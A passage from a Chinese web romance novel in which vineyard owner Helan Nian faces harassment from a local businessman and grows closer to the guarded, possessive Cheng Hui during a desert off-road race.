程回的手机突然响了,看到来电显示,程回让李折先过去,自己则往偏僻的地方走了。
惜儿拉着羊明煦赶上贺兰念。
李折没跟来,程回不去他顿觉没意思,跟着一帮哥们离开了。
少顷,贺兰念回头看了一眼,没看见程回的身影,以为程回跟李折走了。
回眸时,余光不经意瞥见一道身影,贺兰念又望过去。
远处,程回逆着人流往外走了好长一段路,终于在一个无人的地方停下来,和电话那端的人说着什么。
贺兰念看不清他脸上情绪,只有那道修长又神秘的背影倒影在她瞳孔。
几秒钟后,贺兰念回头,继续往前走。
远处的程回似有所感回头。
贺兰念正被周砚领着跟一群年轻人打招呼,看着真像一对向朋友介绍的新人。
“先生?程先生?”没听到程回的回复,电话里的男人喊了程回好几声。
“......你刚才说什么?”
“我说根据您提供的照片来看,那人确实跟夫人长得很像,不过到底是不是夫人,保险的做法还是基因检测。”男人重复,又问一遍,“或者您近期回来吗?到时候我带您过去,您亲自辨认。”
程回没立即回答这个问题。
男人以为程回刚得到母亲的消息一时难以消化,也没在意,又道:“我调查夫人下落的时候曾遇到阻碍,我怀疑程总已经知道了这件事。为了防止程总把人转移走,您也最好回来一趟。”
“......好,我知道了。”沉默几秒,程回道,“我后天回去。”
这边,贺兰念烧烤吃到后面,正想告别,一道汽车的轰鸣声淹没了她辞别的话。
程回开着车停到贺兰念身边。
他一出现,立马引起了一小波轰动。
贺兰念身边站着的好几个女生都偷偷打量他,有些甚至拿出手机拍了照。
“贺兰念,走了。”程回降下车窗扭头喊她。
人群的目光让贺兰念有些不自在,她走近了些,尽量用两人刚好能听到的声音问程回:“去哪?”
程回目光落在她额头:“医院。换药。”
贺兰念“哦”了声,身体却没动。
程回看她一眼,“哦什么?上车。”
像是下定了某个决心,贺兰念再看向程回
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时眼神清冷,无声拒人于千里之外,“不用麻烦了。那些药我家里都有备,一会儿我自己换就好了。”
程回盯了她好几秒,那双犀利的眸仿佛要看进贺兰念心底最深处,眼神越来越沉。
就在贺兰念无力招架时,程回紧抿的唇线一松,说了个,“行。”
留下这个字后,贺兰念看着他不知从哪摸出墨镜戴上,车窗重新升上去,车子启动,离开。
贺兰念站在原地,无意识磕了磕脚尖。
站在贺兰念身后不远的周砚隐约听到两人的对话,他视线在贺兰念和程回身上移动。
程回离开后,贺兰念低着头的背影看起来很低落。
周砚望着程回离开的方向眯了眯眼。
*
贺兰念带着惜儿驾车回到家中,车一停,惜儿就急不可待的跳下去,她蹦蹦跳跳打开院子里的灯往房子跑。
贺兰念停好车,还没下车,接到一个陌生电话,她疑虑接起。
“贺兰小姐晚上好啊——”
是杨志国的声音!
在深夜里染上寒意,阴森的让人脊骨发凉。
贺兰念拿下手机,不动声色摁了录音。
她没有说话。
“这是去哪玩了,这么晚才回来?”
意识到什么,贺兰念瞬间头皮发麻,她看向跑到堂屋前正准备开门的惜儿。
“惜儿!”
贺兰念下意识大喊一声,她手脚发麻下车,眼看惜儿已经打开堂屋的大门,贺兰念用最快的速度跑过去拉住她。
在惜儿疑惑的目光中,贺兰念尽量用平静的语气道:“你先去看看珍珍有没有睡觉。”
“是喔,今天好长时间没有见到珍珍,它一定在想我不肯睡觉。”惜儿往马房跑。
贺兰念警惕的看了眼黑漆漆的屋子,她跟在惜儿身后,压低声音道:“你监视我?”
“怎么算监视呢,我只是想看看贺兰小姐什么时候过来找我。”杨志国阴阴笑了声,“不过我现在在医院躺着,真是可惜不能早点见到贺兰小姐。”
“你欲行不轨在先,现在又非法监视跟踪,杨总最好考虑好这样做的后果。”贺兰念向四周看了眼,“如果你再纠缠,我只能报警了。”
“报警?你有证据吗?”杨志国闻言大笑了声,“就算你有证据又怎样?你敢报,我保证你在这块活不下去!”
贺兰念挂断电话。
她站在原地,手脚的麻意迟迟没有散去,直到惜儿跟珍珍打完招呼跑回来,她揉了下脸,带惜儿回了房间。
打开灯在房间找了一圈,没发现藏人,贺兰念却一点不敢放松。
哄惜儿睡着了,贺兰念出来关门,猛不丁在院子里看到一道高大的身影。
一瞬间,贺兰念呼吸都停止了。
等看清院中的人竟是程回,贺兰念才陡然松了一口气,很快,她心脏又急速跳动了下。
程回,这时候来做什么?
贺兰念走过去,在距离程回一米的位置停下。
“有事吗?”贺兰念问。
程回不说话,只是用他黑白分明的眼睛直勾勾盯着贺兰念,十分有压迫感。
“如果你没事的,我要回屋睡觉了——”
看见程回抬脚走向她,不知为何,贺兰念内心一阵恐慌,她甚至想拔腿就跑。
两人之间不足十公分,程回才停下。
这绝不是正常的社交距离,贺兰念正想后退,听见程回问:“药呢?”
“什么?”贺兰念忘记后退,疑惑看着程回。
“涂伤口的药。”
“哦。”
以为程回要给她换药,贺兰念拒绝道:“我可以对着镜子——”
话未完,却见程回抬了抬他那只受伤的手,道:“我的药丢了,今晚先用你的。”
“.........”贺兰念脸扭曲了下,最后强撑着表情不崩塌,道,“你可以去药店买的。”
贺兰念视线里,程回面无表情“嗯”了下,然后他微一挑眉,错开身,走到枣树下,拉了一把椅子坐下。
他让人捉摸不透的视线很快望过来,贺兰念听见他说:“懒得去。”
贺兰念:“......”
回屋拿了药放到餐桌上,贺兰念道:“用完放到这里就好,我会来拿。”
说完,贺兰念转身就要回屋。
程回猛地攥住她手腕,贺兰念离开的脚步被死死拉住,几乎动弹不得。
回头,贺兰念看见程回那双总是冷漠薄情的眼睛里,似有怒意。
不知是被吓到还是别的什么情绪,贺兰念的心狠狠颤了下。
“你帮我换。”程回几乎一字一字道出。
说是“帮”,他攥着贺兰念的手却越发用力,强迫的意味十分明显,似乎贺兰念敢拒绝,他就立马采取什么强制措施。
14. Chapter 14
“不了——”
贺兰念的拒绝刚出口,手腕间猝然传来一股大力,视野里一阵旋转,贺兰念坐落在程回刚坐的那张椅子上!
身前,程回俯着身,手臂撑着椅子两侧扶手,将她牢牢禁锢。
四目相对,贺兰念脸白了下。
两双眼睛,一个倔强,一个病态偏执,谁都不相让。
没多久,程回伸手拿药。
贺兰念想趁着这个机会起身离开,随即被程回一只大手摁住额头,压到椅子深处。
程回一只手肘抵着贺兰念脖颈处不让她动,一只手快速揭开旧纱布,消毒,涂药,换新纱布。
贺兰念还在愣神,程回的手掌已经撑在她额头,大拇指摁停在伤口处,不再动作。
药,换好了。
“......”
贺兰念慢慢睁开眼睛,猝不及防撞进程回黑沉的眼睛里。那里面翻涌着一种她从未见过的暗流,危险而黏稠,几乎要将她吞噬。
一刹那,贺兰念只觉她身心都要被程回的视线烫穿。
程回下颌线绷得像块冷硬的岩石,视线一落,目光沉沉锁住贺兰念的唇,一寸寸逼近。
贺兰念惊醒,在程回的唇落下前,猛地偏头躲开!
滚烫的压迫感如同实质般挤压着贺兰念的空气。
“为什么躲我?”
贺兰念听见程回声音又沉又哑问,滚烫的呼吸扑在她脸颊。
这话问得一语双关,贺兰念沉默着。
伸手,抵着程回胸膛,推他,但没推开。
贺兰念面沉似水,“没有什么躲不躲,我对人一向这样。”
“再说,你比完赛也要走了吧?”贺兰念极冷淡,“没必要纠结这个问题。”
时间缓慢的流动,空气仿佛凝固,苦药水的味道被放大数倍,固执地弥漫着。
程回最终什么都没说。他紧绷的身体缓缓松开,压制她肩膀的力量骤然消失。那只手垂落下去,带着一种奇异的沉重感。
沉默转身,离开。
贺兰念僵坐在椅子上,好半天,苦涩笑了下。
*
第二天羊明煦带惜儿去越野场玩,明天下午的比赛,那边今天很热闹。
贺兰念放不下心,思索再三,还是去了医院,这件事不解决,她怕是得一直提心吊胆。
杨志国病床前,一个大约四十多岁的女人正在削苹果。她看见贺兰念进来,脸色变得极难看,起身就向贺兰念冲来,“就是你这个贱人,长了一张狐媚子脸,专门勾引别人丈夫,你怎么这么不要脸!”
女人看着贺兰念年轻美丽的脸,眼中闪过疯狂的嫉妒和恨意,她举起水果刀就往贺兰念脸上划,尖叫着:“我今天就要划烂你这张贱脸!看你还怎么勾引人!”
贺兰念错身挡开。看女人举着刀子又刺过来,她一把抓住女人的手腕。
盛怒中的女人力气极大,挣扎间,水果刀划到贺兰念的腕骨,鲜血流到胳膊上。
贺兰念拧眉,手下用力一掰女人手腕,水果刀应声落地,被贺兰念弯腰捡起。
女人脱力瘫软在地,看贺兰念手里拿着刀,也不敢轻举妄动,坐在地上哭喊,“没有天理了!小三杀人了!”
不过是一个可悲的女人,贺兰念没有理会她,向病床前的杨总走去。
“心都坏透了!怪不得一家子都死光了!”女人冲着贺兰念背影哭骂,“老天爷都看不下去,这都是你的报应!”
贺兰念停下脚步。
病床上,杨总目光放肆的落在贺兰念身上,他似早就猜到贺兰念会来,冲贺兰念得意地笑。
贺兰念重新走到病床前,冷冷看着病床上的男人,“我不打算道歉,我没有做错什么,错的是你。如果你再纠缠,我会报警。”
说完,贺兰念转身走到女人身边。
“我可以不在乎你不分青红皂白辱骂我,因为比起去恨你不断出轨的丈夫,你也只敢拿我出气。”她话锋一转,“但是你不能咒骂我的家人,我没有做错什么,他们更没有做错什么!你这样的才是坏!”
“你的丈夫骚扰我,我会报警。这次我不会告你故意伤害罪,你好自为之。”贺兰念最后说。
从病房出来,贺兰念受不住般突地瘫到地上,她攥着心口大口大口呼吸,鲜红的血顺着手腕蜿蜒流到手指,滴到医院苍白的地板上。
贺兰念脑海如蒙太奇镜头般错乱快速闪过很多很多画面。
医院冰冷又苍白的地板,鲜红的血顺着胳膊不断滴落......
滴答滴答......
在走廊流了好长好长......
染血的白色床单上,一会闪过她爸爸暗红的脸,一会闪过她哥哥灰白的脸......
病床滑轮经过,妇人绝望哭喊......
贺兰念头疼得要裂开。
什么东西在响?像救护车的鸣笛声,又更加沉闷。
贺兰念头脑极度不清楚,眼睛糊的看不见一件完整的东西。
过了一会儿,好像又没有声音,没过两秒,又重新响起......就这样来来回回,贺兰念也不知道响了多少次。
等她头没那么疼,头脑清楚一些,她终于看见被摔在地上的手机嗡嗡震动个不停。
她拿过手机,迷迷糊糊看见程回的名字。
正常人打两通没接也就放弃了,也就是他了,连打电话都是不达目的不罢休的样子。
“......”贺兰念心情复杂的看着屏幕上的名字。
点了接通,贺兰念没说话。
大概程回也没反应过来电话竟然接通了,几秒后疑问:“贺兰念?”
贺兰念轻“嗯”了声。
电话那端的人顿时沉默。
程回声音很沉:“你怎么了?”
这么轻易就被听出了吗?
贺兰念心头没由来涌上一股酸意,她强行压下这股浓烈的情绪,把情绪调整成正常模式。
“没事。”贺兰念尽量用正常语气问,“找我有事吗?”
那边又陷入沉默,不知在想什么,最后贺兰念听到程回说:“嗯惜儿找你,在赛场这边,你过来吧。”
“......好。”
挂断电话,又缓了一会儿,贺兰念去急诊科处理了一下手腕处的伤口,开车去了越野场。
到了越野场地,贺兰念先看到的是苏馥。
苏馥站得笔直,礼节性的朝贺兰念招了招手,等贺兰念下车走过来,她视线在贺兰念缠着纱布的额头和手腕停了下。
不等贺兰念询问,苏馥开门见山道:“我是来买葡萄的,如果你愿意的话,你们有多少葡萄我都能收。”
贺兰念不相信天上掉馅饼的事,谨慎问:“......条件?”
“没有条件。”苏馥微微一笑,“非说有条件的话,我希望你不要阻止其他葡萄园的买卖与否,虽然我也不认为你能阻止得了。”
这句话倒是实在,那些想卖掉葡萄园的,贺兰念确实阻止不了。
“我不会卖掉葡萄园。”贺兰念再次重申。
苏馥微笑点头。
苏馥前后的态度变化太大,贺兰念还是不太敢相信,问道:“你们为什么要这么做?”
有好几秒,苏馥陷入了诡异的沉默,甚至于她精致的脸都微不可察抽搐了下。
“......赚钱。”苏馥盯着贺兰念额头的伤口,“不然还能因为什么。”
没等贺兰念提出更多疑问,苏馥再次补充:“我们集团最近要开拓海外红酒市场,所以需要大量的葡萄园,当然也需要大量的葡萄。你放心,价格不会比市价低。”
贺兰念:“......我要考虑一下。”
如果真是这样的话,倒也可信。
“能把贵集团的资料发我一份吗?”贺兰念问。
“当然可以。”苏馥从文件包里掏出一份整理好的资料,附加一份葡萄收购合同一起递给了贺兰念。
“考虑好了随时联系我。”苏馥道。
贺兰念看了眼资料封面上的天纵集团几个字,朝苏馥点了点头。
苏馥跟贺兰念告别后,往越野比赛场地走去,半路与程回错身而过,两人谁都没有看对方。
贺兰念在翻天纵集团的资料和合同,没注意程回走了过来,直到一只苍净的手抓住她那只受伤的手腕。
“手怎么了?”
贺兰念抬头,看见程回拧着眉盯着她的手。
“......削苹果时不小心用刀划到了。”
想到昨晚的不欢而散,贺兰念想把手从程回手中挣开,却被越攥越紧。
沉默对峙。
下巴被骤然捏住,在一股大力下,贺兰念被迫抬头。
“少拿这种话搪塞我。”程回看起来很生气,眼中情绪翻涌又克制的压下去,“说实话。”
“......”
贺兰念不知道程回什么意思,他像是失忆了,昨晚明明就说得很清楚了!
她一点都不想跟程回有任何牵扯,反正他明天也要走了。
用力挣了下下巴,贺兰念想摆脱这种尴尬的姿势。
挣了半天,一点没挣脱。
贺兰念:“......”真是服了。
“放开我陈回——”
“你去找杨志国了?这是他弄的?”
两人的声音同时响起。
贺兰念挣扎的动作一顿,半天,自暴自弃“哦”了声。
程回幽深的眼睛仿佛总能一眼把人看穿。
他太聪明,也太敏锐!
沉默。
让人不安的沉默。
程回看起来气极了,贺兰念都能感受到他捏着自己下巴的手越来越紧。
见程回迟迟不肯说话,贺兰念道:“我会报警的。”
“报个屁!”程回捏着贺兰念的下巴靠近,气息凌冽,“贺兰念,你是觉得我就这么不管了吗?”
下巴
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有点痛,贺兰念拧了拧眉,她在心里说:“可是你明天就要走了。”
“本来就跟你没关系。”贺兰念垂眸,“你不用管的。”
程回:“......”
贺兰念把脸偏到一边,开口:“你能不能先放开我,有点痛。”
瞥见贺兰念下巴上的红痕,程回的手陡然一松。
她的皮肤白净,一点红痕就异常明显,程回盯着那道道红痕,僵住了。
贺兰念一口气还没松,正往后退,蓦地下巴又被捏住,只是这次动作轻了很多,轻到小心的地步。
“贺兰念,疼要早点说。”程回锋锐的眉几乎皱到一起是,手指轻轻揉捏那些红痕,像是要把红痕拂去。
“......”贺兰念真是被闹到没脾气,接着程回的话道:“那现在已经不疼了,你能放开我了吗?”
程回动作一僵:“......”
他瞥了贺兰念一眼,似叹了一口气,松开手。
程回目光又在贺兰念下巴停了几秒,收回视线道:“杨志国的事你不用管了,他以后不会再骚扰你。”
贺兰念真的担心杨志国把主意打到惜儿身上,这是她绝对承受不了的,听到程回这么说,她没拒绝,也没问程回怎么解决,只道:“谢谢。”
“念念——”
惜儿从远处跑来,后面跟着羊明煦和李折,她边跑边问:“念念,你怎么过来了?”
“......”程回明明说惜儿找她......贺兰念看向程回。
如果这是一句谎言,那程回察觉出她的情绪不对劲时,就想到了杨志国?他是怕自己有危险,才用惜儿的名义喊她回来?
贺兰念的脑子又开始混乱,她不想再想这个问题,向惜儿走去。
“怎么刚过来就要走,等我一下啊!”羊明煦冲着惜儿喊,又回头跑到程回身边,谄媚道:“哥,你车开不开?”
程回把车钥匙扔给他。
羊明煦连着说“谢谢”,大笑着跑开了。
后面走过来的李折正想转身往回走,想到什么,折回来问程回:“你明天下午走?明天我这有直升机,我让他们把你送到机场行不行?”
程回没回,他朝李折招了招手,“问你点事。”
贺兰念在听到李折的话后,身体骤然僵了下。
惜儿回头看程回,问贺兰念:“程哥哥不跟我们一起走吗?”
贺兰念呼吸一滞,摇了摇头,“不一起。”
“为什么?”
“......他还有别的事。”
惜儿失望道:“好吧。”
李折走到程回身边,问:“怎么了?什么事?”
“你让人查一下杨志国。”程回道,“我要让他在西北消失。”
李折没犹豫,“行,没问题。”
“你明天几点走?”
“比完赛。”
李折比了个欧克的手势。
两人正往赛场走,周砚迎面走过来,看着程回道:“你就是程回吧。”
程回默然挑眉。
看出周砚来者不善的样子,李折蹙了蹙眉,“周砚啊,有什么事吗?”
“我找程回。”周砚清俊一笑,“是有一点事想问他。”
李折瞬间被周砚的态度拱出火来,他克制着骂人的冲动,“什么事赶紧问!没看见正忙呢吗。”
程回拍了拍的肩,示意他先走。
“......”想到两人打起来程回怎么也吃不了亏,李折愤愤瞪了周砚一眼,先离开了。
程回双手插在兜里,姿态懒散疏离,不动声色,不经意就会给人一种上位者的压迫感。
“问吧。”
看着这样的程回,周砚眼中闪过嫉妒,稍纵即逝,又恢复温文清俊的样子。
“你不是来参加越野赛的,你是来收购葡萄园的。”周砚语气笃定道,“你爸今年要开拓红酒市场,所以要大量收购葡萄园。”
他勾了勾唇,“所以,贺兰念知道你是来收购她的葡萄园的吗?”
程回眼睛沉了沉。
见程回没说话,周砚讶异道:“她不会还不知道你的身份吧?”
“你刻意接近她,又不告诉她你的身份,你要对她做什么?”周砚语气染上怒意,“你要欺骗她到什么时候?”
程回倏尔笑了,笑很快散去,他舔了舔后槽牙。
“所以呢?你想让我怎么做?”
周砚完全没想到程回这么好说话,他反应了一下道:“我要你离开她!永远不要出现在她面前!”
程回嘴角弧度极小的扯了下。
他收回落在周砚身上的目光,抬脚,径直从他身边走过。
不屑,傲慢,目中无人,完全没有把他放在眼里。
这是此时此刻的程回给周砚的感觉。
“如果你不离开,我会告诉贺兰念你的身份,还有你的目的!”周砚在程回身后喊。
程回脚步未停。
15. Chapter 15
应李折的邀请,再加上当地旅游局也联系过贺兰念,说是想跟她合作拍摄沙漠越野赛事的视频。
于是比赛当天,贺兰念带着拍摄设备早早来到比赛现场。
贺兰念正在调试设备,身后响起周砚的声音。
“好巧,你今天在这拍视频?”周砚走过来,动作自然的蹲到贺兰念身边,看着她调试手中的摄影机。
贺兰念借着找东西的机会起身,回:“是啊。”
周砚看着贺兰念高挑清瘦的背影,沉默了一会儿,状似疑惑开口:“对了,你看见程回了吗?”
贺兰念正从包里掏出运动相机,“没有。”
周砚有点失望的“哦”了一声,“好吧。我还以为他会来找你。”
贺兰念微不可察蹙了下眉。
不知是不是她多心,周砚这句话,有点挑拨的意思。
今天来这里后,贺兰念没有看到程回,也没有刻意在人群中找他的身影。
听李折的意思,他下午就要走了。
“你还不知道吧,我跟程回初中一个学校的,高中时他出国留学了,这都有好几年没见了。”
“前两天看到他,我都没认出来。”周砚感叹道,“他变化还挺大的。”
贺兰念回头看了周砚一眼。
“他那时候挺狂的,打架特别厉害,谁都不放在眼里。有一次因为打架被请家长,他爸来学校,当着全校学生的面,扇了他一巴掌,很响,都打出血了,很多同学都吓到了。”
“不过他现在看起来倒是平和了许多。”周砚说。
贺兰念掏东西的手僵住。
她看向周砚,秾丽的脸有点冷,“你是陈回的朋友?”
“呃......”周砚没想到贺兰念会这么问,磕巴了一下道,“算...是吧。”
贺兰念脸一冷就显得有点无情,“是朋友的话,不该这样和外人说这些。”
周砚哑言,后知后觉察觉到贺兰念的不高兴。
空气安静了一瞬。
“......抱歉。”周砚垂了下眼皮,看起来有点低落,“你总是对我爱答不理的样子,我只是想跟你多说几句话,如果让你不高兴了,我很抱歉。”
贺兰念:“......”
她叹了一口气,或许只是她多心了。
“我今天没有看见他,你要是找他有事,可以去别处找找。”贺兰念道。
“好,那我再去别处找找。”周砚起身,离开前又回身,道,“前天看见你直播卖葡萄,我家里刚好有做食品方面的生意,这两天我联系了一下我爸,他还挺感兴趣的。如果你们葡萄质量好的话,我家可以收一些。”
贺兰念停下手中所有动作,慢慢觉得无地自容。
大概真的是她小人之心了。
周砚看到贺兰念脸上的尴尬,又体贴开口:“那你先忙,等你有时间我再找你,你要是觉得可以的话,还要麻烦你带我看看你家的葡萄园。”
说完周砚对贺兰念摆了摆手,转身离开。
“谢...谢谢。”贺兰念对着周砚离开的方向说。
周砚没转身,又摆了摆手表示听到了。
周砚走后,贺兰念怔怔的,出了好一会儿神,脑海里全是周砚说的话。
贺兰念算是没有叛逆期的那拨人,而听周砚的话,程回少年时叛逆挺严重的。
只是单纯的叛逆吗?贺兰念一直相信,任何事情,都是有原因的。
“嗡嗡嗡——”
旅游局那边突然的电话打断贺兰念的思考。
旅游局来了一个小团队,领队是个刚毕业没多久的男大学生,名叫祝飞,也是之前程回视频出来时联系贺兰念的人。
祝飞找到贺兰念,两人谈了一下拍摄内容。
“最好能找辆车跟着车手拍完全程。”祝飞有点羞于启齿,“我们开来的车刚才跑了一圈,跑得有点狠,抛瞄了...短时间局里的车也开不过来,主要,局里就这一辆越野车......”
贺兰念:“可以向越野基地借一辆吗?”
祝飞挠头:“刚问了,越野基地这个点也没车了。”
贺兰念默了一下。
“我倒是开车来了,只是——”贺兰念犹豫,她开的皮卡,而这次赛道全程沙漠戈壁,路况十分复杂,一般的车根本没办法在里面行驶。
眼下也没别的选择,贺兰念叹道:“算了,先开我的车吧,希望能撑到最后。”
不过开皮卡也有好处,能站在后面拍全景。
把惜儿放到监控室,贺兰念去开车,祝飞领着旅游局的人很快上车。
本场赛事大约有一百多名车手参赛,十几个车队,赛道全长一百多公里。随着比赛开始,引擎嘶吼,赛车疾驰而过,一路黄沙滚滚。
沙漠戈壁。
越过沙丘,戈壁,砂石河道,是更高的沙丘,更荒凉的戈壁。
沙丘连绵如大海,赛车如大海行舟,在沙海里时隐时现。因为沙子抓地力的瞬息万变,稍不注意,车子就有陷进去的危险。除此之外,引航员和车手必须时刻关注沙漠独有的沙窝陷阱。
而且,沙漠的酷暑高温无疑给赛车和车手都造成极大挑战。
这种越野赛,是选手用身体的极限发挥车体的极限,去挑战自我,去酣畅淋漓的征服沙漠。
贺兰念的车由旅游局的一个青年开着,他们没走赛道,而是行驶在路况更不明的赛道外。
祝飞站在后斗里,身体用手腕粗的弹跳绳牢牢拴着,举着摄像机对着赛道和过往的车辆拍。车内,贺兰念一边操纵无人机,一边用运动相机跟拍赛道前面赛车的情况。
就在这时,随着贺兰念的镜头前移,一辆车速极快的越野车在砂石地过弯道时,车速和动力没有调整好,突然侧翻。
贺兰念视线里,那几秒钟是如此漫长,赛车在空中翻转,翻转......訇然落地!
荡起一地沙尘,扑簌向上飞扬......
贺兰念脸色一白,下意识喊了一声:“停车!”
驾驶座的青年还没看到有车辆侧翻,被贺兰念惊恐的声音吓到,猛地踩住刹车。
后面祝飞也看到了翻车的情况,车一停,刚想放下摄像机往下跳,只见贺兰念脸色苍白,已经下车跑了过去。
“给救援队打电话,让他们派直升机过来!”
祝飞听到贺兰念喊。
因为车子完全颠倒,车手被困在驾驶室动弹不得。
汽油的尾气味,扬起的漫天沙土,现场一片混乱,贺兰念不管不顾跑过去,她趴到车窗前,一眼看见车手满脸的鲜血。
尘封的记忆被彻底唤醒,在几乎四十度的沙漠里,贺兰念全身冒冷汗,她惨白着脸急忙伸手拉车门。
可是车门不知道被什么卡住,不管她怎么用力,就是不能拉开,她开始双手用力推车,试图将车翻过来。
车内,车手已经昏迷。
“一定没事的!你再坚持一下再坚持一下......肯定会没事的......”
贺兰念几乎无意识一直重复,不知是在跟谁说,手被灼烫的机身烫伤也毫无知觉......
一只骨节分明的手拉住她的胳膊,贺兰念扭头看着程回。
她清冷的眼睛里全是无助,恐慌。
程回抓着贺兰念的手僵了下。
把贺兰念拉到一旁,程回从地上捡起一块大石头,猛地向车玻璃砸去。
只一下,车窗破裂!
程回把手伸进车里,打开车门。
贺兰念用力抹了一下眼角,走过去跟程回一起,把那名车手拉了出来。
直升机的轰鸣声越来越近,下落时螺旋桨掀起的狂风吹得砂尘乱飞。
血腥味,还是血腥味......无限蔓延的血腥味在一片混乱中压过一切,将贺兰念团团围住,几乎阻断呼吸。
她四肢僵麻,直直站在原地,看着救援人员将满身鲜血的车手送上直升机。
一只手温柔盖住了贺兰念的双眼。
紧跟着,清寒凌冽的香水味袭来,排挤掉所有血腥味,也慢慢驱散贺兰念麻木的心脏,她感觉到血液流动,温暖四肢百骸。
贺兰念忽然想起惜儿说,程回身上香香的她
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很喜欢。
真的很好闻。
好闻的贺兰念眼眶一热。
“他不会有事的。”
程回的声音很近,几乎在贺兰念耳边说,所以这几个字不损分毫收进贺兰念耳朵,又势不可挡流入她心里,稳住她恐慌的心。
激烈的情绪慢慢平静下来,贺兰念终于意识到一个问题,她挣开程回,回头看他。
“你怎么过来了?你还在比赛吧?这样停下来会影响你的成绩的!”贺兰念焦急道。
“一个比赛成绩而已,在意什么。”程回语气稀松平常,看起来真的不在乎,倒是他看见贺兰念脸上的着急,目光透出兴致。
“着急我夺不了冠?”程回问。
贺兰念:“......你能夺冠?”
“能啊。”程回说得毫不犹豫,“你想我得的话,我什么都能做到。”
贺兰念:“......”
贺兰念转身就要往她的车走。
程回突然道:“贺兰念,你晕血啊?”
贺兰念:“!”
程回......简直敏锐的过了头!
晕血吗?其实她之前是不晕血的,那是从什么时候开始的呢?
好像是在看到他爸爸和哥哥满身鲜血的时候吧......
贺兰念正在愣神,一个墨镜似从天而降,戴在她脸上。
贺兰念抬头,看见程回已经转身,“贺兰念,走了。”
“你不比赛了吗?”
程回往车边走去,“不比了。”
“......为什么?”
“你都不想我赢,我还比什么。”
贺兰念:“......”
贺兰念又想起周砚的话,然而此时此刻她看着程回的背影,心里想:他明明为了救人连比赛就可以放弃......也不算谁都不放在眼里吧。
贺兰念跟旅游局的人车分两路,她跟着程回的车帮助需要救助的人,旅游局的人负责继续摄影。
这样恶劣的环境和赛道,翻车几乎是免不了的,接下来一路,两人又遇到了好几辆出事的车辆,不过好在都不太严重,他们尽可能提供了帮助。
接近终点的地方,一辆车陷进沙窝里出不来。
因为救援还没来,车手不想就此放弃,程回试图用他的车将赛车拖出来。
贺兰念下车,帮忙在后面一起推车。
车子很快被拖出来。
车手正对贺兰念表达感谢,看见贺兰念的手腕,讶道:“你的手受伤了!”
受伤?
贺兰念没有什么疼痛的感觉,她顺势低头,见绿色的护腕已经被血水浸透。
早上被杨总夫人划破的伤口裂开了。
注意力一转移,疼痛感终于如细针线裹挟而来。
贺兰念把染血的护腕摘下放进包里,把另外一只手腕上的护腕换上。
车里,程回曲指敲了敲车门,提醒贺兰念要走了。
被救的车手向程回打招呼,程回朝他微微点了点头。
在贺兰念看不见的视线里,车手抬起自己的手腕朝程回指了指,又指了指贺兰念的手腕。
程回眯了眯眸,目光落在贺兰念带着护腕的手腕上。
一路高温,又是救人又是推车,再加上精神起伏太大,贺兰念上车后疲惫感姗姗袭来,她窝在舒适的副驾座椅上,迷迷糊糊睡着。
朦胧间,车子好像停了,贺兰念感觉一道视线落在她脸上,然后手被小心抬起,又是一阵窸窸窣窣的动作。
手机震动的声音被人很快摁掉,她听到有人说直升机已经准备好了。
要走了吗?
贺兰念强迫自己睁开眼睛,看到程回的身影迎风走向直升机。
螺旋桨的轰鸣震耳,风浪吹起一圈圈尘沙,狂风鼓动他的黑色衬衣长裤,吹乱了他一头黑发,他步伐始终平稳。
要上直升机的时候,程回好似回头望了一眼。
他脸上戴着墨镜,贺兰念只能看到他冷白的下巴,冷淡的薄唇,下颌线明晰。
贺兰念的心一悸,孱弱乱了一拍。
16. Chapter 16
“你醒了。”李折走过来,见贺兰念还在看着远去的直升机,解释道,“程回时间来不及,刚好今天有直升机,我就让人直接把他送去机场了。”
“他可能见你睡着了,没来得及跟你说。”李折觑着贺兰念的脸色补充说。
贺兰念轻轻“嗯”了一声。
她收回视线,整个人有点怔松。
手腕处隐隐传来刺痛,贺兰念低头,看见原本流血的伤口已经被重新包扎,纱布洁白整齐。
李折看出点什么的挠了挠鼻子,另起话题道:“程回走之前让我告诉你,杨总的事他来解决,你不用再去见他了。”
贺兰念:“好。”
李折斟酌说:“这件事也算是程回惹出来的,你就让他解决吧,费不了什么事。”
“......”贺兰念听出李折的弦外之音,于程回而言,解决杨总不是什么难事,但对于她来说,脱层皮都不大可能搞定。
想到程回打人时不要命的样子,贺兰念想了想,说:“杨总在这里发展多年,事情闹大会很麻烦。”
坏人不可怕,穷途末路的坏人才最可怕,因为他们会用尽手段将你拉下地狱。
贺兰念想提醒李折和程回,尽量不要把人逼到那个地步,不然对谁都没有好处。
李折听到贺兰念这样说,眼中闪过一丝赞赏。
因为家里的原因,李折耳濡目染,渐渐形成平衡与中庸的为人处世之道,自然知道不到万不得已,不会赶尽杀绝的道理。
李折惊讶贺兰念这么年轻,遇到那种事,还能清醒理智到这种地步。
李折用极低的声音呢喃了一句,“我大概知道程回为什么喜欢你了。”
心不在焉的贺兰念没听见这句话。
“放心吧,程回有分寸。”李折说。
不远处,跟着人群欢呼庆祝的惜儿,蹦蹦跳跳朝他们招手,李折看见笑了声,道:“比赛结束我们也要撤了,带惜儿去北京玩的话记得联系我,长时间不见我还真会想这个小家伙。”
“......谢谢你。”贺兰念顿了下,“还有杨总的事。”
“谢程回吧,我也没做什么。”
惜儿向这边跑来,边跑边喊:“念念,李哥哥!羊哥哥赢钱了!”
李折顺势道:“那今晚我们去庆祝,让你羊哥哥买单。”
“好耶,”惜儿举手赞同,“羊哥哥买单!”
人群中正笑得合不拢嘴的羊明煦听到这话,怒了,吼道:“李折!你放——什么呢!不可能!少坑我!”
他就得了一个新秀组的亚军,那么点奖金可不够他们一群公子哥霍霍的。
“小气鬼羊哥哥——”惜儿嘘他。
羊明煦冷哼了一声,没半点不好意思,“不挣钱的小孩没资格说这句话。”
惜儿歪头想了下,“那等惜儿以后长大挣了钱,请羊哥哥吃饭好不好?”
羊明煦立马不要脸笑开,他跑到惜儿身边,掏出手机对着惜儿,笑得像个骗子,“惜儿小天使,再说一遍。”
一旁李折看不下去,一脚踹在他屁股上,“你丫还真够不要脸的!”
羊明煦觑他,“那,加上你的名?”
李折:“......加!”
惜儿还不是很明白,以为是重要的人约见面,道:“那也要加上念念和程哥哥!”
“噗嗤——”
羊明煦笑得快倒在地上,“加加加都加!”反正不是他请客。
惜儿看向念念,“念念,你说好吗?”
“......好。”
贺兰念弯唇轻笑,她目光不自觉落到缠着手腕的纱布上。
释然。
晚上,贺兰念没有去沙漠越野赛的庆祝晚宴,她独自在家剪视频,剪着剪着愣住。
她什么时候把镜头对准程回......这么多次?
*
两天后,贺兰念带周砚参观葡萄园。
